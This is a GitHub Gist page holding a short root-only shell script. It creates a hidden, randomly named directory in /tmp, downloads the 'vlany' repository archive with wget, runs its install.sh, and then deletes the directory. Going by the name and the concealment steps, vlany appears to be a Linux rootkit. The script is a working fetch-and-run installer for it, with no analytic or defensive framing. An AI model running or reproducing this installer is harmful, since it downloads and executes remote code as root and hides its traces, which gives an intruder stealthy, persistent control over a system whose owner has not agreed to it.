Last active
March 5, 2021 16:31
-
-
Save mempodippy/d93fd99164bace9e63752afb791a896b to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
[ $(id -u) != 0 ] && { echo "Not root. Exiting."; exit; } | |
WORKING_DIR="/tmp/.$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)" | |
ARCHIVE_NAME="$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1).tar.gz" | |
mkdir $WORKING_DIR && cd $WORKING_DIR | |
wget https://github.com/mempodippy/vlany/archive/master.tar.gz -O $ARCHIVE_NAME | |
tar xvpfz $ARCHIVE_NAME && rm $ARCHIVE_NAME | |
cd vlany-master | |
chmod +x install.sh | |
./install.sh | |
rm -rf $WORKING_DIR |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment